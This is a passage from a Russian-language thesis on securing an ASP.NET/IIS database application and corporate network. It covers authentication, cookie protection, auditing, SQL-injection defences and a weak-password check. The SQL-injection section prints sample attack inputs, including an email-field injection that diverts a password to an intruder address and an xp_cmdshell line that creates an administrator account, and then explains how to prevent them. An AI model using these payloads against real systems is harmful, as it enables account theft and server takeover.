·              поддерживает шифрованные http-соединения на основе семейства протоколов SSL(Secure Sockets Layer),сам по себе он не предназначен для защиты ресурсов сервера, однако он не позволяет прочитать переговоры Web-сервера и удаленных клиентов

IIS исполняется как процесс Inetinfo.exe, который обычно исполняется от имени учетной записи SYSTEM, обладающей высоким уровнем и привилегий на локальном компьютере, но запросы, передаваемые от IIS к ASP.NET, не исполняются в контексте SYSTEM, они исполняются от имени конкретного пользователя, выбор которого зависит от конфигурации запрашиваемого ресурса.

Если запрашиваемый файл требует аутентифицированного доступа, то IIS связывает запрос с учетной записью, параметры которой указывает отправитель запроса. Если пользователь может доказать свою подлинность IIS, то запросу присваивается маркер доступа этого пользователя.

IIS проверяет подлинность пользователя с помощью аутентификации, которая бывает нескольких типов: обычная (basic), краткая (digest), встроенная (integrated) Windows-аутентификация, клиентские сертификаты SSL. Обычную и краткую применяют для идентификации имени и пароля пользователей, подходит для работы в Интернет; встроенную - для идентификации учетных данных Windows, не подходит для работы в Интернет; применение клиентских сертификатов SSL ограничено в основном интрасетями, так как требуют раздачи клиентам цифровых сертификатов.

На рисунке 4.19 показано взаимодействие между IIS и ASP.NET. Когда IIS получает запрос файла, относящегося к ASP.NET(файл ASPX), он передает запрос ISAPI DLL (Aspnet_isapi.dll, который исполняется в том же процессе, что и IIS, то есть внутри). Приложения ASP.NET исполняются в отдельном процессе - . Aspnet_isapi.dll передает запросы Aspnet_wp.exe через именованный канал. Когда запрос достигает рабочего процесса, он назначается конкретному приложению, исполняющемуся в конкретном домене приложения. Внутри домена приложения запрос перемещается по http- конвейеру ASP.NET, где его просматривают различные http-модули, и в конце концов попадает к http-обработчику, соответствующему запрашиваемому ресурсу.

Рисунок 4.19 - Взаимодействие IIS и ASP.NET

Когда Aspnet_isapi.dll передает http-запросу Aspnet_wp.exe, вместе с ним передается и маркер доступа, полученный из IIS. Прежде чем обработать запрос, пропустив его по http-конвейеру приложения, Aspnet_wp.exe с помощью маркера выполняет проверку прав доступа к файловым ресурсам, а затем маркер передается приложению, чтобы это приложение могло олицетворить автора запроса и ограничить его в случае надобности.

Степень успеха реализации зависит от решаемого круга задач приложения, от того, под чьим именем будет исполняться рабочий процесс ASP.NET и обрабатываемые им запросы. Если Aspnet_wp.exe исполняется как SYSTEM, то приложение может делать на компьютере сервера все, что угодно, что делает ASP.NET менее устойчивым к атакам. Но по умолчанию Aspnet_wp.exe исполняется как ASPNET - особая учетная запись, создаваемая при установке ASP.NET на компьютере, которая является членом группы Users, почему и имеет достаточные привилегии для выполнения большинства действий, но и достаточно ограничен в правах, чтобы защититься от некоторых типов атак. Помимо прочего, это означает, что, кроме случаев изменения конфигурации, приложения ASP.NET не могут выполнять ряд действий, например, изменять значения в разделе реестра HKEY_LOCAL_MACHINE.

.3.2 Аутентификация и авторизация

Аутентификация позволяет получателю запроса удостовериться в подлинности его отправителя. Отправитель запроса может утверждать что угодно, но пока он не аутентифицирован, в этом нельзя быть уверенным. Аутентификация - важный элемент не только web-безопасности, но и сетевой безопасности вообще, так как она устанавливает доверие. Авторизация- это другая часть определения безопасности. После того, как личность пользователя установлена, авторизация определяет, к каким ресурсам он имеет доступ.

Поддерживается три типа аутентификации: Windows-аутентификация, Passport- аутентификация и Forms- аутентификация[5].

Windows-аутентификация применяется, когда приложение используется в локальной сети, каждый его пользователь имеет учетную запись, под которой он может войти в сеть и получить доступ к сетевым ресурсам, или когда приложение предназначено не только для работы пользователей локальной сети, но и должна быть возможность работы с приложением удаленно. Помимо недопущения пользователей, не имеющих на это прав, к частям приложения с ограниченным доступом, также можно использовать встроенные механизмы безопасности операционной системы. Passport-аутентификацию применяют для аутентификации пользователей Microsoft Password - web-сервис, выступающий в качестве интерфейса большой базы данных имен пользователей и паролей, поддерживаемой Microsoft. Выглядит следующим образом: при входе на страничку пользователь авторизуется с параметрами своего электронного адреса, выступающего в роли имени пользователя, и пароля; затем наше приложение обращается к официальному сайту Microsoft, если сайт Microsoft подтверждает, наше приложение его авторизует с его правами. Этот тип аутентификации практически не используют по вполне объективным причинам: во-первых, это будет медленный процесс, во-вторых, нужно оплачивать Microsoft такую услугу. Forms- аутентификацию используют для удостоверения в личности пользователя, прежде, чем дать ему доступ к некоторым страницам.

Проанализировав возможные типы аутентификаций, наиболее подходящей будет Forms-аутентификация. При этом аутентификация пользователя выполняется путем запроса у него параметров регистрации (логин и пароль) с помощью Web-формы. В файле Web.config проекта указываем регистрационную страницу и сообщаем ASP.NET, какие ресурсы эта страница защищает. При первом обращении пользователя к защищенному ресурсу ASP.NET автоматически перенаправляет его на эту регистрационную страницу. Если регистрация прошла успешно, ASP.NET выдает пользователю в виде «cookie» (небольшой файл на компьютере клиента, в котором находятся данные для конкретного Web-узла) аутентификационный ярлык и перенаправляет его на страницу запрошенную первоначально. Временем жизни ярлыка можно управлять. Алгоритм работы по Forms-аутентификации представлен на рисунке 4.20.

Рисунок 4.20 - Последовательность действий при аутентификации

Такая аутентификация обеспечивает большой контроль над сценариями идентификации для приложения. Если приложение принимает данные пользователя, то в броузере ASP.NET создает «cookie»[28, c.227]. Программный код, реализующий аутентификацию и авторизацию представлен в приложении К.

Атрибут name элемента <forms> определяет имя «cookie», который будет установлен в случае успешной аутентификации. Значение по умолчанию - .ASPXAUTH. Если запускается несколько приложений на одном сервере, то следует дать каждому приложению или виртуальной папке уникальное имя «cookie», используя этот атрибут. Атрибут loginUrl определяет URL на который будет переадресован пользователь если не будет найден корректный «cookie». Атрибут protection определяет уровень защиты (шифрование, основанная на MAC коде проверка) для «cookie», используемого при аутентификации. "All" - это значение по умолчанию (рекомендуемое значение). Атрибут timeout определяет количество минут, после истечения которых, «cookie» считается устаревшим и более не может использоваться. Вы можете использовать этот атрибут для требования повторной регистрации после истечения заданного времени, в течение которого пользователь не проявил активность. Срок годности аутентификационного «cookie» не обновляется при каждом запросе ASPX страниц, а обновляется при запросах страниц, которые произошли по истечении половины срока годности «cookie». Атрибут path определяет путь, по которому в виртуальной папке хранится файл «cookie».

Сами аутентификационные «cookie» необходимо защитить, для чего необходимо задать желаемый уровень защиты. Проверка «cookie» работает следующим образом: к «cookie» добавляется значение validationKey элемента machineKey, полученное значение хэшируется и хэш добавляется в «cookie». Когда «cookie» возвращается обратно в составе запроса, ASP.NET проверяет, что он не подделан, снова вычисляет хэш-значение и сравнивает его с тем, которое находится в «cookie». Шифрование работает путем шифрования «cookie»(хэш-значения и всего остального), применяя атрибут decryptionKey элемента machineKey. Проверка требует меньше процессорного времени, чем шифрование, и предотвращает подделки. Но она не мешает перехватывать «cookie» и просматривать их содержимое. Шифрование же обеспечит двойную защиту от подделок, а также препятствует просмотру содержимого «cookie».

Так как приложение работает по протоколу HTTPS, то зашифрованные «cookie» не могут быть прочитаны или изменены, но их могут украсть. Поэтому здесь защитой для «cookie» будут тайм-ауты, которые работают для сеансовых «cookie».

Существует ограничение на время существования открытой сессии задачи на сервере (определяется настройками). Если время сеанса работы пользователя превышает это ограничение - ему будет предложено повторить авторизацию для продолжения работы. Эта особенность специфична для веб-технологий, где клиентская машина не удерживает непрерывную связь с сервером (так называемый link), а обращается к созданной пользователем сессии на сервере точечно - в момент выполнения запроса.

.3.3 Доступ к данным через ADO.NET

ADO.NET (ActiveX Data Object .NET)представляет собой набор классов в пространстве имен System.Data библиотеки классов .NET и его потомках. Иными словами ADO.NET- язык для общения управляемых приложений с базой данных, программный интерфейс используемый для доступа к базе данных. ADO.NET- один из важнейших компонентов .NET Framework.

Рисунок 4.21 - Модель доступа к данным в ADO.NET и ASP.NET

Двойственность ADO.NET - это первое, что должен знать любой разработчик. ADO.NET осуществляет доступ к базе данных через программные модули- провайдеры данных (SQL Server.NET и OLE DB .NET).

OLE DB - технология доступа к данным, представляет унифицированный объектно- ориентированный API для разнообразных баз данных, так же как драйверы ODBC(Open Database Connectivity) предоставляет процедурный клиентский интерфейс для разных типов баз данных[31, c.501].

Как происходит запрос пользователя? Пользователь сначала обращается к странице, затем происходит обращение к Web-серверу, который в свою очередь обращается к базе данных с помощью SQLConnection, после через SQLAdapter данные из базы данных возвращаются в DataSet(DataReader) к клиенту через Web-сервер (рисунок 4.21).

.3.4 Защита передаваемых данных

Защита передаваемых по сети данных рассмотрена в главе 3.3.7 «Защита сетевого трафика», при этом при обращении пользователя к приложению идет его переадресация на защищенный протокол передачи данных https.

.3.5 Защита от некорректного ввода данных

Контролировать вводимые пользователем данные можно на стороне клиента и на стороне сервера (рисунок 4.22). Отличие в том, что на стороне клиента контроль будет сравнительно простой, на стороне же сервера можно проводить более сложные алгоритмы проверки.

Рисунок 4.22 - Алгоритм проверки вводимых пользователем данных

Контроль на стороне клиента организует проверку на наполняемость, проверку типа, длины, составного типа выражения, соответствия определенному диапазону значений [1, c.13]. На стороне сервера реализуется с применением хранимых процедур, триггеров и проверок в конкретных ситуациях.

.3.6 Протоколирование и аудит

Под протоколированием понимается сбор и накопление информации о событиях, происходящих в системе. Аудит - это анализ накопленной информации, проводимый оперативно, почти в реальном времени, или периодически. Реализация протоколирования и аудита преследует следующие главные цели:

·        обеспечение подотчетности пользователей и администраторов;

·              обеспечение возможности реконструкции последовательности событий;

·              обнаружение попыток нарушений информационной безопасности;

·              предоставление информации для выявления и анализа проблем.

Обеспечение подотчетности важно в первую очередь как средство сдерживания. Если пользователи и администраторы знают, что все их действия фиксируются, они, возможно, воздержатся от незаконных операций. Если есть основания подозревать какого-либо пользователя в нечестности, можно регистрировать его действия особенно детально, вплоть до каждого нажатия клавиши. При этом обеспечивается не только возможность расследования случаев нарушения режима безопасности, но и откат некорректных изменений. Тем самым обеспечивается целостность информации.

Восстановление последовательности событий позволяет выявить слабости в защите сервисов, найти виновника вторжения, оценить масштабы причиненного ущерба и вернуться к нормальной работе.

Выявление и анализ проблем позволяют помочь улучшить такой параметр безопасности, как доступность.

Обнаружив узкие места, можно попытаться переконфигурировать или перенастроить систему, снова измерить производительность и т.д. Т.о., это необходимый шаг для регистрации изменений в базе данных, а также в процессе разработки, сопровождения, администрирования, документирования и распространения программных продуктов или систем, использующих эту базу данных. Этот подпункт в программном проекте реализован на форме «Журнал событий БД СВТ» совместно с протоколированием на уровне базы данных и сервера (глава 4.2.6).

.3.7 Защита от неблагонамеренных действий пользователей

Защита от некорректных действий (в том числе и ошибок) пользователей представляет собой контроль за действиями пользователей. Контроль осуществляется на соответствие прав доступа, типа и длины вводимых данных, ввода непустых значений, проверкой на дублирование. Предусмотрена также обработка ошибок пользовательского типа.

Как через приложение можно получить неправомерный доступ к базе данных? Есть несколько вариантов:

·        перехватить аутентификационные данные легитимных пользователей и потом воспользовавшись ими выполнять какие-либо действия

·              перехватить сами данные, которые возвращает база данных на запросы пользователей

·              получить информацию о структуре базы данных, используя ошибочные действия; в случае, если не произведена в приложении обработка ошибок

·              посылать в виде запроса устойчивые конструкции, внедрение SQL кода (SQL-Injection)

·              подбор паролей пользователей

Защита от первого и второго варианта атаки осуществляется средствами SSL-протокола передачи данных, средствами IPSec и шифрования аутентификационных cookie; от третьего - обработкой ошибок; от четвертого- использование хранимых процедур, в теле которых идет проверка вводимых данных и отсеивание; от последнего - в журнале событий базы данных ведется аудит попыток входа пользователей, соответственно, если за короткий промежуток времени, например, 10 секунд, пользователь попытался ввести свой пароль 100 раз, это вызовет подозрительность в благонадежности этого пользователя, к тому же пароли пользователей не должны быть слабыми.

Проблема многих приложений состоит в динамической генерации SQL запросов и отправке их в СУБД без предварительной обработки. Например, следующий фрагмент кода не является редкостью:

...

Set rs = cn.Execute("SELECT password FROM Users WHERE email”) =Request.Form("email")

….To = Request.Form("email")

objMail.Send(rs("password"))

…

Нетрудно видеть, что через поле формы email можно изменить логику запроса. Например, с большой долей вероятности можно получить пароль произвольного пользователя, если в качестве значения поля email будет получено:

userMail@host.com' OR email=';intruder@provider.com’

Запрос будет выглядеть так:password FROM dbo.Users WHERE email = 'userMail@host.com' OR email=';intruder@provider.com'

Это приведет к тому, что будет выбран пароль пользователя с адресом userMail@host.com, но отправлен он будет, скорее всего, по адресу intruder@provider.com, т.к. многие почтовые компоненты считают символ “;” разделителем адресов. Этот сценарий будет работать в случае, если запросы строятся динамически и без проверки пользовательского ввода. Если же приложение работает под учетной записью, обладающей большими привилегиями в SQL Server, то последствия могут быть еще печальнее, вплоть до получения контроля над машиной, где работает SQL Server:

'; EXEC master.dbo.xp_cmdshell ' net user john pass /add && net localgroup Administrators john /add

Пользуясь подобными ошибками, злоумышленник может раскрыть схему таблиц. Кроме того, в ряде случаев такие ошибки сводят на нет все усилия по защите сети через брандмауэр, т.к. атака может идти поверх HTTP, а для обмена данными, проникновения во внутреннюю сеть может использоваться SQL Server злоумышленника, выступающий в качестве присоединенного сервера. Например, может быть использован такой запрос для получения списка баз на другом SQL сервере:

SELECT * FROM OPENROWSET('SQLOLEDB', 'Server=INTERNAL_SQL_SERVER; UID=sa; PWD=password;','select * from sysdatabases')

При этом могут использоваться также и удаленные и присоединенные SQL сервера, зарегистрированные на захваченной машине. Для того, чтобы избежать ошибок подобного рода можно применить следующие методы:

·    Не запускать приложения под привилегированными "учетными записями" (sysadmin, db_owner) SQL Server. Не запускать SQL Server под привилегированными учетными записями операционной системы (LocalSystem, Administrators group member).

·              Отказаться от динамических запросов в пользу хранимых процедур. Это позволит не только искоренить SQL Injection, но и воспользоваться другими преимуществами использования хранимого кода. Однако не стоит забывать, что в случае использования динамических запросов внутри хранимых процедур проблема внедрения кода все же остается. Например:

CREATE PROCEDURE dbo.GetUsers (@Field varchar(100))SET NOCOUNT ON('SELECT UserID, Username, FirstName, LastName FROM dbo.Users ORDER BY ' + @Field)

RETURN

·    Использовать параметризованные запросы

·              Использовать регулярные выражения для проверки пользовательского ввода до того, как он будет отправлен в СУБД. В случае несоответствия ввода и шаблона выдавать сообщение об ошибке клиенту, оставлять запись об ошибке (ни в коем случае не показывать клиенту ошибки SQL Server) в журнале приложения и прекращать выполнение запроса.

·              Использовать функции для экранирования служебных символов. Например

strEmail = Replace(Request.Form("Email"), "'", "''")

·    Проводить обзор кода (code review) и следовать стандартам кодирования. В качестве автоматических тестирующих средств можно порекомендовать SPI Dynamic WebInspect 2.6. Данное средство тестирования приложений пытается отыскать и ошибки класса "SQL Injection".

.4 Реализация стойких паролей

Одним из требований, предъявляемым к паролям пользователей, является его относительная стойкость. Политика информационной безопасности (далее ПИБ) предприятия предусматривает требования к созданию и использованию паролей.

Пароли принимаются как допустимое общее средство подтверждения пользователем своего ID - то есть являются общим средством аутентификации пользователя при осуществлении доступа к системе/ресурсу. Создание паролей осуществляется в соответствии со следующими правилам[29, c.53]:

-   Пользователи должны подписать обязательство по неразглашению паролей, в том числе групповых (это обязательство может быть включено в трудовое соглашение сотрудника).

-       В системах, где пользователи должны сами создавать пароли, им должен быть назначен безопасный начальный пароль. Пользователи должны незамедлительно сменить этот пароль. Временные пароли, используемые в случаях, когда пользователи забывают свои пароли, должны создаваться после идентификации пользователей.

-       Временные пароли должны передаваться пользователем с соблюдением мер безопасности. Использование для передачи паролей других сотрудников или пересылка паролей в незащищенном виде не допускается. Пользователи должны подтвердить получение паролей.

Пользователи должны следовать принятой политике по созданию и использованию безопасных паролей. Проблема реализации на деле парольной политики заключается в том, что пользователи забывают о ней и в который раз в качестве паролей используют какое-нибудь простое слово, дату рождения или собственное имя. И тогда задача злоумышленника оказывается простой: подключают к своим программам подбора паролей (bruteforce) словари и подбирают в качестве паролей слова или целые фразы.

Проанализировав программы bruteforce, выявлен определенный механизм их работы: сама программа bruteforce представляют из себя процедуру, которая перебирает все возможные варианты пароля и, после получения каждого нового варианта, делает переход на процедуру его проверки. Процедура вставляется в тело программы в каком-либо свободном месте, например отдельной секцией или в конце какой-либо секции. В месте кода, который выполняется при определении неправильности пароля, ставится команда перехода на нашу процедуру перебора. Та получает новый вариант пароля, делает переход на процедуру проверки, и так по кругу, пока не найдется правильный пароль, либо пока не кончатся все варианты.

Программы подбора паролей различаются степенью сложности и алгоритмом самого подбора.

При этом возможны варианты:

1)  перебор всех возможных паролей («a», «b», ... «aab», «aac», ...);

2)  «ограниченный» перебор - когда сначала тщательно составляется набор возможных символов пароля, а потом пункт 1;

3)         «словарный» перебор - часто паролями служат осмысленные слова, тут может оказаться достаточным и небольшой словарь из распространенных имён, чисел (дата рождения);

4)         перебор отдельных символов пароля - в случае, если известно, например, пять из десяти букв пароля, следовательно, перебирать всё не обязательно - достаточно задать некие наборы символов для конкретных позиций пароля.

Примером подобного рода программ может быть утилита Password Recovery Toolkit(PRTK), Office Password Recovery Master, PasswordsPro. Например, PRTK проверяет пароль для приложений Microsoft Office до 350 тыс. вариантов в секунду (на процессоре Pentium 4 с частотой 3 ГГц), пароль на WinZip 7.0 - более миллиона вариантов в секунду, WinZip 9.0(криптосистема которого значительно улучшена) - 900 вариантов в секунду.

Безопасность пароля зависит от двух факторов: от способности системы замедлять перебор паролей и от того, является ли пароль «более очевидным» с точки зрения программы-взломщика[27].

Скорость подбора пароля напрямую зависит от того, каким образом этот пароль обрабатывается программой.

Исходя из всего вышесказанного, был сделан вывод о том, какие должны быть пароли, и составлен алгоритм выявления так называемых «слабых» паролей пользователей, чтобы усложнить, а в некоторых случаях сделать практически нереальным подбор. В результате в соответствии с ПИБ[29, c.54] был разработан алгоритм.

Алгоритм выявления слабых паролей:

1. первым шагом будет увеличение длины пароля: пусть минимальная длина пароля составляет восемь символов;

2.      присутствуют буквы английского и русского алфавитов разных регистров, цифры, спецсимволы;

.        пароль, введенный пользователем, не должен содержаться в словарях

.        пароль, введенный пользователем, переведенный в один регистр, не должен содержаться в словарях;

.        пароль, введенный пользователем, при включенном «CapsLock», не должен содержаться в словарях;

.        пароль, введенный пользователем, при включенной иной раскладке выбранного языка, не должен содержаться в словарях;

.        исключить все цифры и специальные символы и снова на пункт 3;

предположим, есть пароль «pass12345woRd_»: длина пароля больше семи символов, в пароле присутствуют буквы разных регистров и цифры, также присутствуют спецсимволы, но слабое место такого пароля это только то, что, удалив все цифры и спецсимволы, а также, переведя все оставшиеся символы в один регистр, получим словарное слово - «password»;

8. заменить цифры на похожие буквы (специальные символы) или наоборот («kakTyc» -«k@kTyc», «freedom»- «сВ06oda», «s»= «$»), и на пункт 3; здесь должна быть создана таблица замен;

9.      заменять несколько идущих подряд символов одним символом (до нескольких операций

«wiiindoWss» →«wiindoWss» → «windoWss» → «windowss» →«windows») и на пункт 3;

10.    осуществить фонетические замены

«x» = «ks», «th» = «f», «oo» = «00» = «u»

11.    можно усилить имеющийся алгоритм одним условием: знаки 1,i,l,2,z,3,e,4,a,5,s,6,d, 7,8,b,9,g,0,o,+,t будут вырезаться; конечно, вместе с этим не пройдут проверку множество сравнительно надежных паролей, но пароль «password» после обработки будет выглядеть как «pwr». Кстати, пароли «power» и «powered» так же будут выглядеть после такой обработки;

12.    пароль, введенный пользователем и модификации его (пункты 4-11), не должны содержаться в словарях.

Сам пароль и каждая последующая его модификация запоминаются в массив, элементы которого в последствии (пункт 12 алгоритма) ищутся в словарях.

В качестве словарей используются словари русского и английского языков, из которых предварительно были удалены слова, длиной меньше восьми символов.

Плюс к алгоритму выявления добавляется отсекание попыток подбора паролей злоумышленником. То есть, если все-таки злоумышленник нашел лазейку для подбора паролей, то дополнительной защитой будет организация учета неправильных попыток ввода паролей. Например, человек просто физически не сможет за минуту совершить 100 попыток регистрации. Для защиты от такого рода атак, создается специальная таблица в базе данных, которая будет отслеживать количество неудачных попыток аутентификации пользователей. Как только пользователь ввел более трех таких попыток, приложение блокирует аутентифика-ционные поля ввода на три минуты. Такой способ позволит затормозить процедуру подбора злоумышленником паролей. На рисунке 4.23 изображена блок-схема алгоритма выявления слабых паролей, которая разработана с помощью программного продукта Microsoft Visio.

Рисунок 4.23 - Блок-схема алгоритма выявления слабого пароля

Выводы

Таким образом, разработано корпоративное приложение, которое обеспечивает защищенное взаимодействие пользователя с базой данных. Защищенное взаимодействие через прикладное программное обеспечение обеспечивается с помощью таких средств как аутентификация, авторизация, разграничение прав доступа к данным (обеспечивается ролевой доступ к данным), ведется контроль целостности как входной, так и выходной информации, соблюдение сохранности данных. Программа также отслеживает и ведет журналирование событий, происходящих в системе, реализован централизованный материальный учет, информационное отслеживание полного жизненного цикла средств ВТ, предоставление информационно-справочной системы, позволяющей анализировать информацию по различным критериям. Разработан механизм усиления защиты с помощью выявления неустойчивых к подбору паролей, что является механизмом защиты от программ-bruteforce.

В заключении стоит отметить, что прикладное программное обеспечение обеспечивает необходимый уровень защищенности информации, соответствующий требованиям предприятия - заказчика.

5. Защита сетевых ресурсов

Третьим уровнем, защиту которого необходимо реализовать является защита базы данных на уровне сетевого взаимодействия (рисунок 5.1).

Рисунок 5.1 - Уровни защиты базы данных

Все большее число предприятий включают в свои бизнес-процессы использование корпоративного web-сервера и сервера баз данных. Глобально можно выделить два варианта их использования. Первый - для внутреннего применения: снижение затрат на разработку и поддержку, обуславливает перенос внутрифирменного программного обеспечения (системы CRM, учетные и бухгалтерские программы и т.д.) на web-платформу; перенос баз данных, используемых для web-приложений и локальных задач, на выделенный сервер баз данных. Второй - для предоставления информационных услуг внешним клиентам. Здесь могут быть самые разнообразные варианты, начиная от сервисов заказов и проверки наличия товаров на складе, до системы технической поддержи продукции компании. Обычно используется совместная реализация web-сервера и сервера баз данных для этих двух вариантов одновременно. В главе рассмотрены принципы построения и внутренние документы предприятия.

5.1 Применение КВС

Если не вдаваться в частности, то конечной целью использования вычислительных сетей на предприятии является повышение эффективности его работы, которое может выражаться, например, в увеличении прибыли предприятия. Действительно, если благодаря компьютеризации снизились затраты на производство уже существующего продукта, сократились сроки разработки новой модели или с увеличением объема работы штат сотрудников остался прежний - это означает, что данному предприятию действительно нужна была сеть.

Использование территориально распределенных вычислительных средств больше соответствует распределенному характеру прикладных задач в некоторых предметных областях, таких как ОАО «НАПО им. В.П.Чкалова». Во всех этих случаях имеются рассредоточенные по некоторой территории отдельные создатели-потребители информации. Эти потребители автономно решают свои задачи, поэтому рациональнее предоставлять им собственные вычислительные средства, но в то же время, поскольку решаемые ими задачи тесно взаимосвязаны, их вычислительные средства должны быть объединены в единую систему. Адекватным решением в такой ситуации является использование вычислительной сети.

Вся корпоративная сеть предприятия разделена на локальные вычислительные сети (ЛВС), внутри которых компьютеры объединены по топологии звезда. Сеть выдвигает несколько большие требования к пользователю, нежели просто отдельно стоящий компьютер. Также необходимо упомянуть об уровне, не входящем в модель сетевого взаимодействия, лежащем ниже в представленной иерархии - это инженерные сооружения призванные обеспечить условия приемлемые для функционирования всех сетевых уровней. В это понятие входят электропитание и климатические системы.

К сегодняшнему дню подавляющее большинство ЛВС модернизированы и работают со скоростью 100 Mbit/s (рисунок 5.2).

Рисунок 5.2 -КВС предприятия

Для организации работы пользователей в сети все они разделены на 4 группы по направлениям их деятельности - домены. Для организации слаженного и прозрачного обмена информацией между различными доменами организован корневой домен Все остальные домены являются подчиненными. Внутри доменов также есть так называемые серверы приложений. Наладку и управление каждого домена осуществляет администратор домена.

По сути контроллер домена является обычным сервером с установленным на него специализированным программным обеспечением для идентификации пользователей. Между всеми серверами налажено взаимодействие для определения разрешен ли доступ того или иного пользователя к тому или иному ресурсу или услуге сети. Наладку и управление каждого сервера осуществляет администратор сервера.

На сегодняшний день в КВС реализованы и активно работают следующие сервисы:

1. Централизованное хранение рабочих файлов и баз данных. Это позволяет обеспечить каждому пользователю повышенную доступность своих данных. Пользователь не зависит от поломок персонального компьютера, также он может воспользоваться своей информацией, находясь в другом подразделении, компьютеры которого подключены к КВС. Также централизованное хранение позволяет обеспечить большую надежность хранимой информации и её резервное копирование.

2.      Совместное использование баз данных. Этот сервис непосредственно позволяет распараллеливать обработку данных и ускорить обмен информацией между подразделениями.

.        Служба внутризаводской электронной почты. По сути, этот сервис может стать заменой написанию каких либо служебных записок, запросов, писем и т. д. внутри предприятия. Это сэкономит время доставки документов, бумагу и расходные материалы. Весьма полезной была служба электронной почты для пользователей заводоуправления, когда произошел обрыв телефонного кабеля. К сожалению этот механизм пока мало применим к серьезным документам где требуется подпись отправителя, так как не внедрена система электронной подписи.

.        Внутризаводской портал. Этот сервис служит для удобного и прозрачного доступа к открытой информации всем пользователям КВС. Это очень перспективный на мой взгляд сервис сети. На данный момент там представлены: Адресная книга внутризаводской почты, некоторые выпуски Информ-НАПО, информация о составе и функционировании непосредственно КВС ЭВМ НАПО, внутризаводские положения и должностные инструкции, достаточно широкий набор нормативно-технической документации.

.        Коллективное использование лицензий на покупное программное обеспечение. Это позволяет экономить средства при покупке прикладного программного обеспечения. К примеру справочно-правовая системой «Кодекс»необходима достаточно большому числу пользователей, однако одновременно с ней могут работать не более шести человек (столько приобретено лицензий) и пока этого достаточно.

.        Терминальный сервер. Весьма интересный сервис с точки зрения экономии денег. Он позволяет использовать устаревшие компьютеры в качестве средств доступа к ресурсам современного сервера на котором непосредственно работает прикладное программное обеспечение (соответственно, работает достаточно быстро), а компьютер находящийся на рабочем месте пользователя отвечает только за передачу информации о действиях «своих» клавиатуры и мышки, а также за отображение результатов работы программы.

.        Сетевая печать. Позволяет коллективно использовать дорогие печатающие устройства, что экономит достаточно большие средства на приобретение и обслуживание дорогих устройств качественной печати.

Для установления порядка работы в подразделениях НАПО в части эксплуатации и администрирования корпоративной вычислительной сети ЭВМ НАПО и обеспечения ее бесперебойной, оптимальной и стабильной работы разработано и утверждено « Положение о регламенте работы корпоративной вычислительной сети ЭВМ НАПО»[26].

.2 Выдержки из политика информационной безопасности предприятия в области использования сетевых ресурсов

В области применения безопасного использования локальной вычислительной сети, на предприятии применяется политика информационной безопасности (использование сетевых ресурсов) и СТП 525.588 «Регламент работы КВС ЭВМ»[40].

Незащищенные сетевые соединения с сетевыми сервисами и ресурсами могут существенно повлиять на безопасность ресурсов ЛВС. Пользователям должен быть предоставлен доступ только к тем сетевым сервисам и ресурсам, на использование которых они имеют авторизацию. Контроль этого особенно необходим при наличии сетевого доступа к конфиденциальным или критичным сервисам и ресурсам, приложениям, или при наличии сетевого доступа пользователей из незащищенных областях, например, доступ пользователей из публичных сетей, либо из помещений, расположенных вне территории предприятия.

Целью политики информационной безопасности является задание официальных и обязательных для исполнения всеми сотрудниками правил и стандартов по обеспечению информационной безопасности в ходе выполнения своих служебных обязанностях. Политика информационной безопасности представляет собой свод правил и регламентов, определяющих действия пользователей информационной системы компании по обеспечению безопасности ресурсов, а также любые действия сотрудников компании, каким либо образом влияющие на общий уровень информационной безопасности.

Защите подлежит любая конфиденциальная информация, как речевая, так и содержащаяся в бумажных документах, на сменных носителях (дискетах, CD-ROM), на электронных носителях в информационной системе компании, любые информационные процессы сбора, обработки, хранения и передачи информации, все используемые в компании средства информатизации, а также весь комплекс территорий и помещений компании.

Все без исключения сотрудники несут персональную ответственность за выполнение возложенных на них обязательств по обеспечению информационной безопасности, за правильное выполнение предусмотренных политикой информационной безопасности правил и процедур.

Устанавливается следующая политика в отношении использования сетей (собственной, ведомственных и корпоративных, публичных) и сетевых сервисов:

-  определяется перечень всех сетевых ресурсов: сетей и подсетей, серверов и рабочих станций, сетевых ресурсов: каталогов и сервисов.

-       по каждому ресурсу определен порядок авторизации доступа пользователей в соответствии с общим порядком авторизации доступа пользователей. По каждому ресурсу определяется список пользователей, имеющих доступ к нему.

-       администратором информационной безопасности устанавливаются процедуры и меры защиты от несанкционированного доступа к сетевым ресурсам и сервисам.

Для обеспечения сохранности информации, создаваемой и обрабатываемой в КВС ЭВМ, обеспечения бесперебойной работы сетевых рабочих мест в КВС ЭВМ необходимо:

-    выполнение общих требований по эксплуатации сетевых ЭВМ и защите КВС ЭВМ от несанкционированного доступа;

-        выполнение требований по обеспечению антивирусной защиты сетевых ЭВМ в КВС ЭВМ;

         выполнение страхового копирования информации, создаваемой и обрабатываемой в КВС ЭВМ.

Ответственным должностным лицом за организацию выполнения вышеуказанных требований в подразделении и за контроль их выполнения работниками подразделения является руководитель подразделения.